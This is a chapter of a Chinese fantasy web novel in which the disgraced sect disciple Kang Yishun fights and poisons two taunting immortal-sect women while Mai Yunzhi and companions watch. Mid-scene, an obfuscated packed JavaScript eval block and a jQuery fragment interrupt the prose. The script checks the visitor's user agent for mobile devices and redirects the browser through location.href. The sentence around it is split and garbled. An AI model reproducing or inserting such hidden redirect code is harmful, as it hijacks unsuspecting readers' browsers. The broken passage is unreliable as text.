康财主目光刺冷,直视她那双无辜的眼睛,讽刺反问,“魔界和仙界有仇吗,为什么千万年来却水火不容?”
“这么说来,我之所以遭受你的敌视,是因为大公无私的康财主一心为了三界的安危,而不是自己喽?”麦玧芝也学他反问,虽然婉转,但也夹上讥讽的语气。
“要听实话吗?”他响亮的声音中有着沧桑感,却又饱含自信,又掺杂着几分桀骜不驯。
这时,天边两道流星滑落,而垂下的方向好像正是大山洞府。
伯墨居仰望天空的脸,忽地沉下,刚才的雷劫不是麦玧芝的,那就只能是……康财主。
难不成他是仙门弟子?
再或者刚才那个只是个意外天灾?
相比之下,他更愿意相信第一个猜测的可能性更大。
“洗耳恭听。”他牵住麦玧的手腕,随时防备着对面搞偷袭。
麦玧芝也想听听,这个康财主的来历。
张张口,康财主一时竟然不知道该从何开口,等他捋好思绪,准备开口时,正前方的废墟处乍然响起一个声音。
“沉音师兄!”
麦玧芝听见熟悉的声音叫着陌生的名字,急忙转头。
看到郑其进见到康财主欢喜的像个孩子。
康财主的脸色恍然片刻,变愈发冷淡,淡淡斜他一眼,不满他戳破自己的身份。
“沉音师兄,你怎么在这儿啊?”郑其进看到康财主态度冷淡,丝毫没有跟他搭话的意思,这才张张嘴,有点不知所措。
郑其进身后还有几个人,茅星澜走在另外两个
“沉音师兄,真是好久不见!”茅星澜一旁走出一个橙紫衣女子。
她语气悠悠,还望与她同色衣服的女子悄悄挤出一抹讥笑。
这两个看衣着打扮,应该和那个兰林秀一样都是仙门弟子。
计无双呢?
她往那两个仙门弟子身后瞧,一个人影都没有。
“茅姑娘,你看到计无双了吗?”她小声问茅星澜。
“他就在后面啊。”茅星澜往身后看,“人呢?”
听到计无双的名字,康财主明显有些分神,但那只是一瞬,他又恢复了镇定自若。
“余苹、梁芮,好久不见。”康财主脸上没有任何表亲,淡淡打声招呼,算是为过往翻篇。
长发飘飘的余苹上前一步,打量一番康财主的一身造型,“啧啧,没想到师尊曾经的得意弟子,多年不见,差点认不出来了。”
嘲讽的话落进康财主耳朵里,他也只是轻笑,“还是你们两位过的滋润,一年比一年年轻。”
他虽说在夸人,但面上那阴森再加上刻薄的语气,就是在骂人。
一年比一年年轻,要么是千年王八万年龟,要么就是狐狸精。
康财主也挺会骂人的,沉音,就是他?
之前就喝了他半碗米汤而已,她怎么还略微有些担忧他的处境?
仙门弟子也不傻,挽发的梁芮一点儿也不客气,“康一顺,你这是在变着法的骂人啊。”
康财主的名字叫康一顺,只是很少有人知道。
麦玧芝却觉得康一顺这个名字太弱了,还是康财主显得大气。
余苹、梁芮两个人在刚入师门没多久,康一顺就出走仙门不见了踪迹。
“听说,你做了魔界的走狗,”余苹斜着眼上下一扫他那邋遢样,拖着腔调,“怎么风采也大不如从前了呢,是不是看门狗不好当,魔界又从来没把你这个背叛者放在眼里?”
这个余苹消息够灵通的,连石倏舒都不知道事情,她却一清二楚。
好好的仙门弟子怎么说不当就不当了呢?
其中必定是有什么原因吧!
这两个仙子真的是仙门弟子吗?
麦玧芝怎么看怎么都不像,她们刻薄尖酸,完全没有石倏舒身上的正派感觉,反而给人一种来自魔界的跳梁小丑的错觉。
估计是被戳到了痛点,康一顺攥紧拳头,但仍旧隐忍着。
怎奈梁芮咄咄逼人,“一个背叛仙门的人怎么还配有雷劫?”她阴阳怪气的,一掌拍向康一顺,力道在他面前一步远停下。
她手指往下一拉,一个方形的透明水幕就舒展开来,接着她手指灵巧又轻快的在那块巴掌大的水幕上写了什么,手腕一转,那水幕就停在了半空。
麦玧芝好奇看过去,那水幕上缓缓出现一个紫色的八,又出现一个白色的三。
梁芮衣袖轻飘一收,水幕凭空消失,嘴角勾起戏谑的笑意,“哎呀,康师兄,你的八根仙弦如今怎么只能调动五根啊?”
康一顺紧抿嘴角,手指骨节被他攥的发白,低垂的眼里涌上浓浓的杀意。
“既然只有五根,那我们还等什么,逮了他去师尊那里邀功升仙弦岂不更妙?”余苹不再掩饰对康一顺的杀心。
康一顺阴眸一闪,一道水幕自手心脱出,也是方形的,只是这个水幕不透明,后面像是被什么给遮住了。
水幕对上两人的其中一个,又瞬移对准另外一个,下一刻水幕被收,他心中已经有数。
但对于这两个不知死活的仙门蠢弟子来说,今天或许可以撒一口气。
“五根半仙弦就出来找死,不怕你娘心疼啊!”康一顺脑袋左右一晃,简单热身,准备动手。
“五根仙弦还不快快受死!”
一个比一个话狠,这就开打了吗?
仙门弟子手足相残还是头一回见,怪稀罕的。
麦玧芝看看左,又瞧瞧右,两边都摆好了架势,战事一触即发。
聚精会神中她感觉衣袖被谁拉扯住,低头一看,这只泥土里拔出来的手很是陌生。
顺着手臂看去,这泥土覆住的脸不就是计无双吗?
“麦姑娘,躲远点,一会儿见血会弄脏你的衣服!”他鬼鬼祟祟的拉着她后退。
在经过伯墨居的时候,他一把拉住她的手,牵着她一步步向后走。
计无双跟在后面,茅星澜和郑其进也跟着一起退。
留下足够的空间,这下可以开打了吧?
同一时间,两边开动,两女一男,打的眼花缭乱,他以山石做武器,趁其不备。
她们以方形橙紫仙器为格挡,水来土挡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356926|166827||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,剑来盾抵,一来一回,打的不可开胶。
康一顺左右相顾不暇,左肩膀吃了一剑,右耳朵差点被一剑割去。
看来他真是老了,身手也没有以前那般敏捷了。
他丝毫不慌,因为他还有绝杀没出。
“给你们最后一次就会,现在离开,还来得及!”他不想再跟仙门结怨。
但那两个仙门弟子已经认定两人联手必定会打败他,听见他死到临头还在说大话,手上的招式更加凌厉。
“给机会不要,仙门的人向来都是这么无情又自负,既然如此,我也无可奈何。”
丢下这句话,他从衣襟里掏出一个湛蓝的小瓷瓶,一指顶开瓶塞,口朝下,倒举起来。
这都火烧眉毛了,他怎么还有心思玩瓶瓶罐罐的?
一旁观战的麦玧芝都替他着急,不过一想起之前他差点害死她和伯墨居,还是输算了!
“是蛫兽!”伯墨居敏锐察觉到自湛蓝瓷瓶里掉下来的黑点形状有点怪异。
下一刻,那黑点突然放大千万倍,犹如一头刚睡醒的恶龙,蜿蜒盘旋在上空,直冲两个仙子飞去。
通体黑色鳞片的龙尾一摆,鳞片下面黑色烟雾满天飞扬。
在场的人都下意识的捂住鼻子。
毒龙?
伯墨居就知道康财主这个高级别的仙门弟子不是那么容易被摆平的,他手指一转,五人已经被一个透明的结界包围。
结界内残留的黑色烟雾,也被伯墨居长袖一挥给冻在一个个小冰球里。
麦玧芝对他感激笑笑,安心的靠着他的胸膛。
仙弦和仙弦的数量从来不成正比,一如他的八根妖丝和石倏舒的六根仙弦一样。
运用到极致,一根仙弦就可抵两根妖丝。
但如果不怎么极致,那么一根仙弦可能要低于一根妖丝的能力。
这些全部都要看个人的修炼,以及熟练掌握的成度,当然也少不了一颗开悟的头脑。
这两个仙门女弟子很显然没有开悟,还没弄清对方的实习就出言相激,怕是留不得全尸啊。
他刚预判完结局,就见恶龙退场,地面上的黑点再现,一棵青草,一朵艳丽的红花,凭空而上。
黑色烟雾还盘旋上方,青草和花朵随风飘动,所过之处,青红一片。
当黑色和青红混杂在一起,一股香甜的味道从半空撒下来。
两个女仙子腾在半空的身子一晃,摔在地上,再也没有起来。
这么快就败了?
她们身上可是有五根半仙弦的呀!
身为仙门弟子,茅星澜很想上去帮忙,但只有两根仙弦的她真的是太弱小了。
郑其进倒坦然的多,脸上淡淡的毫无波澜,那两个仙门弟子对于他来说就是陌生人。
这样的结果让计无双感到失落,他颓丧着脑袋,悄悄躲在伯墨居身后。
伯墨居抬头,隔着透明结界,射来的是康一顺杀人的眸子。
藏在他身后的计无双慌忙抓住他的后衣摆,哆哆嗦嗦的很是害怕。
“你在害怕……康一顺?”他侧头问。